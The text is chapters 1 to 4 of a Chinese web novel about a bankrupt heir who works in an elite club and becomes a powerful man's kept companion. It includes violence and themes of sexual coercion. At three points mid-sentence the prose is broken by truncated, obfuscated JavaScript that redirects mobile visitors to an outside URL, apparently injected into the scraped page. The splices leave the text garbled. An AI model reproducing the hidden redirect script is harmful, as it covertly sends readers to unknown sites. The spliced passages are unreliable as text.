《破产大少爷就业指南》 1. 第 1 章 尤安蹲在新落座的客人旁边,微微仰脸注视客人的眼睛,昏暗暧昧的灯光洒在她漂亮白皙的侧脸,颊边的酒窝随着她嘴角的牵动若隐若现:“先生,您需要喝点什么?鸡尾酒还是……” 坐在真皮沙发上的客人不耐地打断她的介绍:“你们这儿是不是有个叫明昭的,让他过来。” 尤安表情顿了两秒又很快露出微笑,柔和询问:“是我的服务您有什么不满意吗?” “我说话不够明白?”吴正熙垂眼冷冷地看她。 “您稍等,我去叫他。”尤安站起身,微笑着躬身离开。 快步走到后台,尤安脸上的笑立刻消失得一干二净:“傻逼。” 她按了按别在领口的对讲机:“明昭?” 对讲机那头嗯了一声,尤安才继续道:“47桌让你过去服务。” 那头又嗯了一声,疑问的语调。 “应该是来找你茬的。”尤安有些疲惫吐槽,“你到底招惹多少人啊,还没半个月,接待过的仇人比客人都多。” 对讲机那头轻笑了一声:“我现在过去,19桌你替我接会儿。” 明昭穿过人群,脚步落在46桌旁,47桌的声音就响了起来,“果真是明少啊。” 吴正熙笑嘻嘻道,“听人说明少在这儿陪酒卖笑,我还不信呢。” 他逗狗似的招了招手,戏谑地看着逐步走到近前的青年。 青年穿着修身的服务生制服,身形高挑修长,极其赏心悦目,群魔乱舞的环境中仍旧出挑得鹤立鸡群,冷淡的气质在燥热的氛围中愈加夺目。 只是这么高傲冷然的人似乎不应该出现在这里。 随行坐在他旁边岳扬哈哈笑起来:“明大少爷这张脸、这身段……啧啧,估计不只是卖笑吧,还在不少人床上卖过眼泪吧。” 明昭掀起耷拉的眼皮,于昏暗的灯光下抬眸看向说话的人。 明昭长相浓艳,相貌过浓以致到了锋利的程度,冰冷的眼神不偏不倚地投射在岳扬身上,岳扬一下被他的锐利的眼神唬住,顿时噤了声。 明昭随意捞过46桌上的空酒瓶,拿在手上抛了抛,冷淡轻蔑地扫过吴正熙和岳扬:“我掉不掉眼泪不知道,但这一瓶子下去你们应该会掉。” “哈,命已经这么贱了骨头还是这么傲啊。”吴正熙脸上的笑瞬间消失得一干二净。 明昭唇角勾了一个假笑,冷冷地看着对面两个人:“没你贱,你算什么东西。” 46桌的客人看到明昭拿酒瓶的动作也没出声,不嫌事大地偏过脑袋和周围其他桌的人一起看明昭的热闹。 有什么能比这位大少爷的热闹更好看的? 不对,也不能再叫大少爷了。 只能算是曾经的大少爷。 毕竟明家已经破产,这位曾经明家的独苗大少爷已经从云端滚进泥里,人人都能上去踩一脚。 他们是六观庭会所的常客,这位大少爷还是上周刚来的,入水进油锅,来的第一天就引发了六观庭巨大的波动。来围观明昭落魄的人不计其数,所有人都没有预料到曾经眼高于顶的明家大少竟然会来这儿当服务生卖酒。 六观庭实行会员制,300万的会费是踏入这个销金窟的入场券。 他们能拿到六观庭的入场券,但在明家还没破产前,却拿不到在明大少爷跟前露脸的入场券,这位大少爷作为明家的独苗,从小在金堆玉砌的富贵堆里长大,眼高于顶,目空一切,在他身边所有人都是陪衬的命。 可惜落水的凤凰不如鸡。 这一个多星期以来,他们已经见过数不清的人来找明昭的麻烦,如果不是六观庭的老板权势够盛,估计大少爷的命就交代在这儿了。 吴正熙还真是没想到明昭都落魄到来夜场卖酒,还这么嚣张,在这么多人面前不给他任何面子。 他脸上过不去,目光逐渐阴冷地盯着明昭:“明昭,你这张脸我想揍太久了,被人踩在鞋底还能这么高高在上吗?” 明昭歪了歪脑袋,嘴角勾起一道弧度,漫不经心扫过他:“我也想看看你的脸被我踩在脚下是什么模样。” 明昭说话一如既往的欠收拾,吴正熙面目狰狞地动了动,站起身要抽上明昭的脸! 明昭是六观庭的重点关注对象,在他们口角刚起的时候,不远处的保镖早已经注意到他们,赶紧上前拦住吴正熙动作:“先生,这里是放松的地方,不允许打架。” 吴正熙怒气更盛,一脚踹在其中一个保镖腿上:“滚!一个服务生而已我偏偏就要打。” 六观庭3、4层是散台,消费达到一定的数,再交上一笔不菲的会费才有资格上5-24层的包厢,越往上的包厢会费更是逐层增高。 能来到六观庭的客人都非富即贵,身价不菲,在这里客户是上帝,但上帝也是有等级的,4层这儿的散客只能算是等级一般的“上帝”,要想折磨六观庭的工作人员在4层这里还不够格,努努力爬到12以上也就没人管了。 在吴正熙踏入这里的第一刻,他的关系网、身家已经悉数被传到每一个六观庭服务生、保镖的手上,这是保镖敢拦下他的原因。 而且明昭也不是能随便打的,其他的服务生被打了可能会因为客人的身份而忍过去。明昭字典里可没有忍这个字,上周这位脾气火爆的服务生已经和客人发生两次打架斗殴,如果不是他卖出的酒多估计已经被赶走了。 “这里不允许打架,如果您执意这么做,我们只能把你请出去。”保镖面无表情道。 “我看你敢不敢,你知道我是谁吗?”吴正熙双目愤怒地瞪面前的人。 保镖仍旧面无表情:“吴先生,这里不允许打架。” 吴正熙推了一把拦在跟前的人:“滚开!” 他一身肥肉,力气倒是不小,推得保镖一个趔趄,又狠狠朝他狠踹了两脚, 明昭啧了一声,用空酒瓶顶住他的胸膛:“需要老子给你上上家教课吗?” 旁边另一个保镖只顾防备岳扬去了,没防住明昭这个火药桶,瞬间头都大了。 干他们这行的,就是靠武力吃饭,平时和六观庭里细皮嫩肉的服务生不一样,平时摔摔打打习惯了,被推这么一下哪有什么紧要。 惹了客人不快才要命啊! 果然吴正熙登时睚眦欲裂,彻底被怒火点燃,举拳挥到明昭跟前! 明昭侧过身闪开,绕到吴正熙旁边,抬着手上的酒瓶往他脑袋上狠狠一砸! “嘭!” 酒瓶瞬间四分五裂。 吴正熙脑袋上的鲜血缓缓从发丝间淌下。 周围一圈人都懵了,有不嫌事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193843|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的吹了两声口哨:“帅啊!” “明大少爷都出来卖酒了还打不过,够逊的!”这是对吴正熙说的。 吴正熙被砸得眼前一黑,保镖赶紧抱住他,背起吴正熙往二楼休息室走,二楼有时刻待命的医疗团队应对突发情况。 岳扬也被吴正熙满脸的血吓了一跳,临走前给明昭放了狠话,才急急忙忙跟着吴正熙往二楼跑。 - “事不过三,这是你来六观庭的第八天,和客人发生三次肢体冲突,十五次口舌冲突。” 经理办公室内,经理黄炳坤皱着眉看向明昭:“下半场你去12楼。” 闻言,明昭挑了挑眉:“行。” 明昭答应得快,倒让黄炳坤若有所思地看了他一眼,难得笑了一下:“你长得好,好好伺候客人,钱不是问题。” 明昭不置可否,只道:“我今晚的提成都计到赵阳和刘帆账上。” 黄炳坤:“你倒是仗义。” 赵阳和刘帆就是刚才的两个保镖。 “再有下次,你就不必来了。”临走前,黄炳坤又警告了一次明昭。 明昭笑了笑:“再有下次,我命估计也交代在12楼了。” 12楼是六观庭的分水岭,12楼以上没人会管包厢里的权贵们对渺小如蝼蚁般的服务生做些什么。 所有服务生都清楚12楼以上是千万不能踏足的地方,12楼来钱来得快伤来得快,尊严去得也快。 不到万不得已没人想踏进12楼,很多人靠在12楼飞上枝头、身家百万,但更多人从里面伤痕累累地走出来。 那里既可能是天堂,也可能是地狱。 长得够漂亮才会拥有踏上12楼的机会,至于这个机会愿不愿意要全在于服务生的意思。六观庭不做强迫上12楼的事情,强迫服务生去伺候12楼的权贵们是一笔赔本买卖,如果服务生心生不快惹怒了大人物们就得不偿失了。 但一旦踏上了12楼,之后的事情就由不得服务生们了。 “你疯了你真的疯了……”几个同事听闻他上12楼的事情,难以置信地看着靠在墙边换衣服的明昭,“你知不知道12楼是什么地方?你这个性格上去就是送死,黄炳坤也疯了。” 12楼的制服与4层的不一样,上身是白色立领荷叶边衬衫配黑色的蝴蝶结领结,外加一件黑色修身马甲,下穿黑色西裤,黑色长袜,薄底的黑色皮鞋。 明昭毫无避讳解下原本的白色衬衫,白玉无瑕的上半身袒露在空气中,六块腹肌垒在腰间,他肩很宽,显得腰更是细窄。 明明长了一张艳丽的脸,周身的气质却很冷淡,狭长凤眼不带情绪扫过时令人心生畏惧,荷叶边领的制服穿在他身上少了柔美,多了几分少年感的清冷。 明昭低头系着扣子,不紧不慢地开口:“我不上去,黄炳坤还会让我待在这吗?” 同事停下踱步的动作,怔愣几秒反应过来:“操!” 六观庭确实不会强迫服务生上12楼,但明昭不一样,明昭惹的人太多,3、4层是肯定待不下去了。 12层以上的包厢都是专属,只要安排明昭不往和有过节的权贵的包厢里去,反而更好些。 明昭这张脸也实在长得让人不那么心甘情愿放手,反正黄炳坤是不那么甘心的。 2. 第 2 章 1206号包厢前一位客人一个月前移民了,1206一空出来立即有人定下,六观庭花了一个月时间按照新客人的金碧辉煌喜好装修了1206。 明昭脚刚迈进去,感觉眼睛受到了巨大的污染,他跟在其他十几个人后面站定,低头晾了晾可怜的双眼。 好家伙,连地板都刻五爪金龙,这暴发户还准备登基了。 葛旭恒,葛氏集团董事长,葛家刚富起来不过十多年,几年前和霍家合作,做成了几个项目,股价大涨,去年举家大张旗鼓搬来燕城。 葛旭恒长了一张板正严肃的国字脸,仰仗于这张脸,五十多岁脸上倒是没有多少皱纹,他一米八五的粗壮高个,坐在椅子上像座巍峨的大山。 包厢内多是葛旭恒的合作伙伴,年纪最小的也三十岁往上。 对于葛旭恒这一圈的合作伙伴,明昭也仅限于能认出来人脸和其人身家,其他再多的就一窍不通了。 照理说像明家这样家里是真的有“皇位”要继承,且还只有一个独生子的,至少从中学的时候就应该带着明昭参加各种商业宴会了。 但明昭是个不折不扣毫不掺水的纨绔子弟。 明昭母亲早年离世,父亲养过几个情人但都没有再婚,也没有给他从外面带回什么私生的兄弟姐妹。 明昭作为明家的独苗,父亲工作忙,家里请了几十个佣人伺候他,更是被祖母当作眼珠一样疼,娇生惯养活十几年,一点苦没吃过一点委屈没受过。 白雪公主和他比起来只能称为灰姑娘,唯有豌豆公主还能勉强与之相提。 明昭对做生意没有兴趣,他也不是没有思考过以后老爹死了家里的产业问题,但这个问题明昭自认为很好解决,多找几个职业经理人就是了。 他生来就是享福的命,做不来跟老爹一样都当大老板了还跟黄牛一样干活的事儿。 于是在思考完毕人生最大的大事之后,明大少爷心安理得地继续游戏人间。对于老爹强制学的什么金融、管理之类的课程没有一次不是混过去的,在祖母面前卖卖乖,老爹也拿他没辙。 于是乎在这样的场合下,葛旭恒也不认识他这个曾经金尊玉贵的明家少爷,只当他是个长得格外出挑瞩目的服务生。 在1206服务比明昭在4层做服务生舒服得多,葛旭恒不是什么事儿多的人,来六观庭大多数是谈生意,少数时候玩乐也是和美女服务生调调情,对明昭这个带把儿的没有兴趣。 明昭赚得没有美女们多,但是事儿比他们少太多了。 他就这么在1206风平浪静做了大半个月。 葛旭恒也不是天天都来1206,一个星期也就来个两三天,其他时候明昭就会派去服务其他的包间。 除了被客人们看上,攀上高枝,六观庭服务生赚钱最主要的来源是卖酒的提成和客人给的小费。12层的客人们点酒很大方,但是如果不是因为哪个服务生而买酒,他们点酒的提成会记到当晚所有服务生的头上,然后均分。 明昭服务的包厢全是中年老男人,喜欢的全是水灵的小姑娘,他长得再漂亮都多了一条腿,只有偶尔几个年纪不那么大的客人看他赏心悦目会给点小费。 美女同事们有的赚得盆满钵满,明昭自己算了一下这半个月的工资,发现还没有在四层赚得多。 但黄炳坤是不会让他去四层的。 每天赚的这点钱放在以前还不够大少爷一顿饭钱,但今时不同往日,大少爷为了这顿饭钱都愿意给请假的同事接后半场的班了。 明昭白天要上课,除了周五和周六晚上他能干完整晚,其他时候都是到了12点就下班。 明天上午只有一节思政课,翘了就是。 葛旭恒从晚上八点到十一点一直在搓麻将,赢了不少钱,大半的钱被他开心地赏给一左一右坐着的两个美女服务生。 明昭站在其中一个客人陈越后面,做做点烟的工作,大概他烟点得不错,得了笔不菲的小费,到了最后,陈越还让他做旁边帮忙摸麻将。 赢的钱很大方地跟明昭平分。 就是陈越不太会打麻将,连明昭这个之前没学过麻将的小白,看了一晚上都看会了,瞧见陈越的出牌都忍不住替他上。 最后索性不看了,免得郁闷。 “要说还是陈越是财神爷。”葛旭恒看陈越出的八万哈哈大笑。 陈越脸都黑了,没好气地点了点桌子,明昭见状递上烟,等陈越咬住烟,明昭微微垂下眼给他送火。 每个人看到明昭的第一反应是惊艳他那张漂亮的脸蛋,第二反应是低头。 明昭这人长了一双狭长冷漠的凤眼,看谁都带着一副居高临下的模样,天然的一张明艳逼人又蔑视一切的脸,让人感觉直视他是一种冒犯。 然而此刻他垂着眼皮,浓密的眼睫盖住凉薄的眼珠,五官的锋利线条中和身上冷淡的气息,令他几乎有些柔和起来。? 明昭给他点上烟,准备抽回手,下巴却被人突然抬起,明昭眼睛瞬间眯起,冷冷地撇上动手的人。 陈越看他反应这么大,愣了一秒后笑了起来:“脾气挺大啊。” 会所的服务生们一般都会被调教得温和柔顺,就算是客人突然摸上大腿也会微笑以对,会来事儿的甚至能顺势倒在客人怀里撒撒娇,陈越还没有见过明昭这样就被摸了一下下巴就浑身奓毛的。 陈越还真被他方才抬眼看过来的眼神唬住,回过神来倒从他的动作里咂摸出几分滋味。 明昭假笑着偏过脑袋,利用放打火机的动作不着痕迹地躲开陈越的手:“不敢。” 如果说话声调不这么冷淡,陈越可能会真信了他这句不敢。 “多大了?”陈越懒懒靠在椅子里,嘴上叼着烟含混地问。 明昭:“19。” “这么小?”陈越以为明昭至少也二十出头了,他身上没有什么青涩的少年气,顶着这么一张脸,看起来像是风月场上的高手,勾勾手就能让无数人拜倒他在脚下。 但仔细想想也正常,大美人都骨相立体分明、五官舒展大气,通常年纪轻轻就出落得亭亭玉立、骨肉匀停。 毛都没长齐的莽撞少年人无法与之相提并论。 陈越看他越能看出几分风情,特别是和他一身冷淡的气质搭配一起,回想刚才冷淡的眼神更觉得带劲儿。 陈越突然又笑了笑,从上衣口袋中抽出一张卡:“凌晨两点,博曼尼5614。” 明昭扫过他手上的房卡。 后边站着的同事暗暗替明昭捏了一把汗,明家虽然破产了,但明昭一身少爷脾气不改,他真怕明昭突然不堪受辱暴起给陈越一拳,那他们这一整个包厢的人都得跟着倒霉。 他们当初答应上12层来服务,就清楚以身侍人是必不可少,不想伺候客户的当初也不会答应上来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193844|197116||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 陪客户们几个晚上,赚到的钱比他们一晚上站几个小时多出不知道多少倍。 而且陈越长得虽然没有很英俊,但也样貌周正儒雅,保养得很年轻看起来不过三十出头,关键是有钱,跟其他大腹便便的客人比起来实在是好了不知道多少,就是听说他床上爱折磨人,玩弄人的花招层出不穷。 只是平时都喜欢女人,没想到现在也朝男的下手了。 同事叹了口气,完全想不到明昭在床上伺候人的样子。 明家都已经落魄成这个样子,明昭出来卖酒都没跟几个客人说过什么软话,在4层时能有这么高的业绩全靠以前相识的公子哥。 但这人得罪的人太多了,这么得天独厚的一张脸,如果不是长在明昭脸上,恐怕在哪都是无往不利,怎么会还愁酒卖不出去,就是想把整个酒吧卖出去都有人接手。 就算陈越在权贵中已经是长得不错了,但那又怎么样?明大少爷能答应就见鬼了,同事暗暗祈祷明昭可千万动手,他可没有保镖们那么好的武力一定能拦下明昭。 果然明昭没接,他笑了笑:“我作业还没做完,下班要补作业。” 不过明昭不是像同事想的那样因为少爷的自尊弯不下腰,也不是因为陈越床上虐待人的传闻,而是陈越这人的身家还不足以买下他,他就算要当菟丝花也要捡最高的枝儿爬。 他这补作业的话鬼都不信,陈越更不会信。 从他“补作业”的言论中,陈越反倒更兴奋起来。 陈越将房卡塞到明昭马甲口袋里,语调低柔暧昧:“我看着你补。” 这就很没意思了,明昭假笑消失,正要把口袋里房卡摸出来,旁边的葛旭恒突然叫了一声:“黄炳坤说今晚霍爷来。” 桌上一圈人的注意力霎时都落在他的话上。 连陈越也转过头看向葛旭恒:“什么时候来?” “车已经停在车库了。是布加迪。”葛旭恒道,他边说边站起来整了整衣领,又拿起放在椅背上的西装穿上。 闻言一行人也跟着纷纷行动起来。 这位霍爷平时不怎么来六观庭,一个月通常也不过来这一两次。要么来玩要么来谈生意,谈生意时开迈巴赫,来玩时开布加迪。 迈巴赫意味着没事不要来敲门,来敲门前也得提前“请旨”,布加迪意味着接驾。 大老板们都动了,服务生也不得不跟着一起上24层。 明昭走在陈越身后,听到他和葛旭恒说话的声音从前面传来:“这位爷是不是几个月没来了,今天怎么有心情来玩了?是不是瓜达尔维达的项目拿下来了?” “据说十拿九稳了。”葛旭恒道。 陈越笑了笑:“怪不得前一周在阿斯加德拍卖会上看到他了。” 24层只有不过四个包厢,一行人从电梯出来,就看到许多人站在2401的门口有说有笑。 乌泱泱一群人等着接驾,还真是皇帝作风。 众人等了好一会儿,要等的人终于才不紧不慢从电梯出来。 明昭站在不远不近的中间位置,正无聊地数袖口的蕾丝花纹,周围骤然一静,随后是皮鞋踏上地面的利落回响。 明昭抬眼,来人一身雪白衬衫,领口微敞,黑色领带松垮地挂在颈间,袖口随意地挽起,手臂上搭着件昂贵考究的黑色西服外套。 霍少棠。 ——霍氏的掌权人。 3. 第 3 章 2401装修得跟个搞什么高雅艺术的宴会厅似的,一众人等西装革履,人模狗样,要不是明昭自己还穿着六观庭的服务生制服,他都要恍惚以为这还是明家没破产前,自己在参加什么商业宴会。 特别是霍少棠身边层层叠叠地围了几圈人献媚,简直明昭以前参加的宴会别无二致。 连陈越也没空搭理明昭了,端个高脚杯十分殷勤狗腿地围在“皇帝”旁边。 献媚的地点从霍少棠坐的沙发换到他坐的牌桌。 一个晚上下来明昭算是见识到原来几个常见字还能拍出那么多层出不穷的马屁,听得明昭简直都想在旁边给他们鼓掌。 明昭觉得如果不是太做作,这些人都能吟个颂圣诗顺带写个颂表。 如果不是大清亡了封建帝制没了,这些人都恨不得跪下来高呼万岁。 陈越和葛旭恒不认识明昭,但不代表场上所有人都不认识这位曾经富贵逼人高坐云端的明大少爷。 不过这些人大都和明昭差着辈分,明昭和他们没多大交集也没什么矛盾。因而不过是或震惊或鄙夷地看着明昭做端茶倒水的活,夹杂着一些可怜的目光。 可能也是不想在霍少棠面前做落井下石的事,显得太没品,怕得不到霍少棠的青眼。 明昭对各种复杂的眼神视而不见,陈越却从其他人的目光中感受出些什么。他此时正和几个人坐着打牌,边玩牌边对明昭招了招手。 明昭放下手上的托盘,走到他近前。 “你在六观庭做了多久了?”陈越一边出牌一边问道。 明昭:“上周来的。” 那就不是在六观庭遇到的这些大人物们,陈越更好奇了:“好像这里认识你的人不少。” 旁边一个人突然笑出声:“陈总你是国外待太久了,明大少爷都不认识了。” 陈越有些讶然地看了眼明昭,又看了看出声的人:“明添宏?” “正是他父亲。”那人道。 这回陈越是彻底大吃一惊。 明家当初在燕城如日中天,什么陈家葛家哪里被放在眼里。被这么一提醒,陈越看着明昭这双眼睛,倒是和明添宏很像,但这人眼里的冷漠比他老爹重得多,却因为年轻而没有老爹那股精明和威压。 陈越拍了拍手,不可抑制地笑起来:“我还真是没想到。” 真是落水的凤凰不如鸡。 谁能想到当初那么煊赫的明家,唯一的独苗现在在一个夜场做陪酒卖笑。 陈越和明添宏交集不多,只有过几次交谈,明添宏口蜜腹剑又长袖善舞,脑子里似乎随时在打着一把算盘,脸上又永远是滴水不漏的笑,和他交谈是一件很有压力的事情。 和这种人打交道太累,陈越不太喜欢明添宏。 明昭却倒是和他老爹截然相反,被人一碰立即冷脸,假笑也能让人一眼看穿。还真是被明家养得肆无忌惮,破产了大少爷也仍旧傲慢难驯。 他愈加兴奋起来。 还有什么比嚣张傲慢的天之骄子恭顺伺候自己更令人愉快的事吗? 明昭厌恶和生意场上的人打交道,除了自己老爹,他对这些满肚子算计的人都喜欢不起来,但不打交道,不意味着他看不出来陈越的恶意。 他在心里冷哼一声,脑子飞快地将今晚过来的人都过了一遍。 明昭居高临下扫了陈越和旁边的人一眼,突然冷笑着看了他们一眼然后抬步离开。 明昭摩挲着口袋里的房卡,脚步不紧不慢地往众人聚集的方向走。 其实场上还有一个他更为熟悉的人。 那人站在离霍少棠不远的地方,正和葛旭恒在闲聊。 明昭抓了抓头发,端着两杯酒走上前:“周总,不知道有没有荣幸请你喝杯酒。” 一个服务生张口就是要请客人喝酒,葛旭恒皱了皱眉,正要出口训斥他不懂礼数,周予行却开口:“明昭?” 明昭笑了笑,将手上的酒杯递给他。 周予行曾对他献过几次好,当然不是对明家大少爷这个身份的献好,而是对明昭这个人的献好,但明昭对他不感兴趣。 周予行比明昭大了几岁,不过才27岁的年纪,却已经在周家的企业担任总裁,年纪轻轻能力不凡,是他老爹最看重的儿子,没有意外他会是周家下一任的掌权人。 同样的天之骄子,在对明昭释放了几次求好的信号,被明昭冷淡敷衍之后,明白这位大少爷对他没那个意思就识趣地没有再提。 后来明家落魄,他还给明昭又释放过一次信号。 但那时是明家破产之初,明昭对自己突然一无所有的身份还没有清晰地认识。 只觉得明家不过刚破产,以前一个个恨不得跪在他脚边给他舔鞋灰的人,不是赶着来看他的笑话就是想要睡他,他被周予行的行为惹怒,只给他扔了一句滚。 但现在嘛。 跟着周予行总比跟着陈越好。 即使周予行对他的追求不算热烈,但明昭能看出他对自己的迷恋,不过是少爷的自尊不让他再一再二地向明昭低头。 果然,周予行二话没说接过明昭递过来的酒,笑着跟明昭搭话:“听说你在这里工作,没想到真的能碰上你。” 明昭在心里冷笑,他刚一进场就能看到周予行盯着他看,扯什么鬼话。 明昭脸上的笑淡了一点,有点想把他手上的酒拿回来。 “我早就看到你了。”明昭语调平平地陈述。 周予行又是一副讶然的样子:“那你怎么不来找我。” 明昭一副混不吝的样子:“看你忙呗。” 明昭低头喝了口酒,不想看他演戏。 “你来找我,我肯定有空。”周予行笑笑。 明昭也抬头笑了一下:“我一直有空。” “但你现在在工作。”周予行道。 明昭眨了眨眼,眼皮上的小痣出现又消失:“六观庭客人最大,你想让我休息我自然可以休息。” 话说到这儿,还有什么不明白的。 周予行又笑了笑,跟明昭碰了碰杯:“你上次想拍的那幅《共振》,最近转手到了我手上,看看?” 明昭不咸不淡地嗯了一声。 周予行对他有些冷淡地回应没有丝毫不悦,他就喜欢明昭身上这股劲劲儿的气质。 特别是如此明艳逼人的脸配上这股劲儿,无法不令人神魂颠倒。 三言两语间两人定下了宴会结束后的行程。 后半场给霍少棠献完殷勤的人陆陆续续离开,陈越也向霍少棠辞别。临走前还没忘了明昭,明昭方才离开最后看他的那一眼,让他有些怒火上涌,但美人毕竟是美人,让他牙痒痒的同时心也有点痒。 他在角落里找到独自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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临走前,明昭又踢了陈越两脚:“傻逼,主意敢打到我头上。” 走出包间,明昭倚在墙边,从口袋里摸出一根烟低头点上。他静静抽了半支烟,有脚步声突然从几步开外的地方传来,声音越来越近,然后阴影投在明昭的胸口。 明昭抬眸看向来人。 霍少棠对他笑了笑,从他手上的烟盒里抽了根烟,又低头从他咬在嘴边的烟借了个火。 男人抽了一口烟,烟雾缓缓吐出,烟雾朦胧中看向明昭:“我看到你打人了。”霍少棠说。 明昭挑了挑眉:“所以呢?” 霍少棠哈哈大笑起来:“你很有本事。” 从一开始顺从地跟在陈越身后,到攀上周予行,又因为傍上了周予行反过来揍了陈越一顿。 一只机灵又会仗势欺人、张牙舞爪的小猫。 明昭冷冷地看着他,声音不咸不淡:“还行。” 霍少棠没有在意他的冷淡,勾起唇角:“你很漂亮。” 明昭:“嗯。” 霍少棠又笑了笑:“我准备回家,你要不要坐我的车。” 明昭定定看了他两秒,将手上抽完的烟捻灭,抬步离开前瞥了霍少棠一眼:“走。” 4. 第 4 章 霍少棠电话吩咐秘书跟其他人打个招呼,挂了电话后径直从包间内的电梯离开。 明昭也给周予行发了个消息,告诉他画不看了。 大概周予行被明昭耍过太多回,只回了一个省略号。 霍少棠带着明昭踏进了一处庄园,位于寸土寸金的市中心。 在燕城,安静不值钱,喧闹不值钱,闹中取静才值钱。 随着车子逐渐驶入,周围的灯光逐渐亮起,位于中心的主栋别墅灯火通明。 一楼的大厅旁边摆着一具颜色艳丽的孔雀标本,佣人端上醒酒茶,明昭抿了一口,他没喝多少酒,连微醺都没有。 他掀起眼皮,看向旁边不紧不慢喝着醒酒茶的霍少棠。 霍家作为百年大家族,明家鼎盛时仍不能与之相提并论。 在这位霍氏掌权人面前,明昭还没有见过不需要点头哈腰的人。 面前这个人的平生履历,恐怕燕城没人不清楚,明昭同样了解。 但明昭对霍少棠的性格一无所知,明昭见过霍少棠几次,男人身边无不是众星捧月,就连他爸在这位爷面前也得客客气气。 明昭见过他的几次,两个人一次也没有说过话。 明昭娇生惯养长大,只有他对别人颐指气使的份,还没有上赶着的时候。对于这位大人物,他都是能有多远就躲多远,他做不来在旁边做绿叶陪笑脸的事。 他估计霍少棠可能也不认得自己。 喝完醒酒茶,霍少棠方才抬眼看向明昭,修长的手指抚过明昭的眼皮,指腹碰上他眼皮上的小痣轻轻摩挲。 明昭很不舒服,拍开霍少棠手,冷冷看着他。 手被明昭拍开,霍少棠仍旧面不改色,没有显出任何要生气的倾向,像在看一只调皮的猫。他语气从容舒缓:“想不想成为这儿的主人?” 霍少棠看着明昭,云淡风轻道:“做我的宠物就可以,小猫——” 霍少棠说完,手支着下巴,等待明昭的反应,从刚才让人调查的资料来看,面前这位曾经的大少爷似乎是一个很傲的青年。 但就他自己亲眼目睹到的他攀上周予行的举动,又是个很灵活的人。 霍少棠很喜欢这张漂亮的脸,愿意饲养这只小猫,但如果明昭不听话的话,可能需要吃点苦头。 预料中可能会发生的反抗没有发生,明昭盯着他的眼睛看了几秒,身子放松靠在沙发上:“什么价?” 明昭嘴角噙着很浅淡的笑,他样貌浓艳,但是线条过于锋利了,毫无任何柔和之处。 配上那双狭长的凤眼,以至于即便他在淡笑着,可能毫无情绪,仍旧让他看起来带着一丝讥嘲,让人不由担心哪里又让这位大少爷不满。 明昭的反应让霍少棠觉得有趣,他笑了笑:“三千万一个月。” 明昭:“期限。” “十年。”霍少棠道。 所有人都喜爱年轻鲜活的事物,霍少棠也不例外,30岁的成年人或许有不一样的味道,但霍少棠不喜欢。 明昭敛了面上的笑,恢复他平日里的面无表情,语调同样毫无情绪,平铺直叙:“十二年。” 明昭继续道:“一次性支付。” 霍少棠笑了笑:“如你所愿。” 他不介意多养一只小猫两年。 谈定自己的身价,明昭从沙发上站起来:“我累了,要睡觉,我房间在哪?” 霍少棠失笑,还真是一点也不怕生,接受自己的主人身份自然得行云流水。 他抬手让佣人带明昭上去休息。 抬步要离开时,明昭突然想到什么,从马甲口袋里摸出房卡给霍少棠:“陈越的,拿给他。” 然后毫不犹豫地转身上楼。 明昭的房间被安排在三楼,就在霍少棠卧室旁边。 明昭对这样的安排毫不意外。 他自己虽然没有养过情人,但周围人包养明星模特大学生的不少。他们往往不喜欢和情人睡在同一间房,情人们被安排在不同的房子,向来都是想谁了就去谁那里住一晚上,或者将人叫上 | 门 | 服务。 简直和封建王朝的帝王翻嫔妃绿头牌侍寝无异。 明昭走进卧室,没有锁门。 他从衣柜里拿出浴袍去洗澡,等洗漱完毕明昭立即躺下睡觉没管霍少棠。 如果霍少棠今晚想要发生点什么自然会开门把他叫醒,明昭没有忍着睡意等他过来想法,他做不来这么委屈自己的事情。 明昭一觉睡到了十点,是被噩梦叫醒的。 脑子残存着噩梦过后惊悸,梦的内容却半点记不住,冷汗浸透了他的后背,被汗水濡湿的发丝粘着他的额头、鬓角。 这几个月没有好好吃饭,早上起来血糖不足令明昭面色显出病态的苍白。 明昭面无表情地从床上起来,进浴室洗了一个澡。 餐厅在别墅的二楼,厨房的饭菜一直热着,看到明昭起来,管家曾达赶紧让佣人把饭菜端上来。 明昭快要吃完饭时,霍少棠刚从外面回来,他身上穿着一身高尔夫服,一边走一边用湿巾擦手,他上楼洗了个澡,下来坐在明昭旁边。 伸手摸了摸明昭的脸,离开时帮明昭垂下的额发往后顺了顺:“怎么起这么早。” 他这个动作像是在摸一只宠物,明昭随口敷衍他:“起来吃饭。” 霍少棠不在意他的冷淡,笑了笑道:“饭菜还合口味吗?想吃什么就跟厨师说。” “我的行李还在六观庭,你帮我拿回来了没。”明昭吃完饭,悠闲地点了一根烟,“还有我的工作。” “行李在你卧室隔壁的衣帽间,新的衣服已经让设计师帮你做了,这几天应该会送过来。工作帮你辞了。”霍少棠道。 “唔……”明昭吐了口烟,点头:“谢了。” “对了,”他又道,“车钥匙给我一把,我下午要去上课。” “跟曾达说,家里的车钥匙都在他那里。” 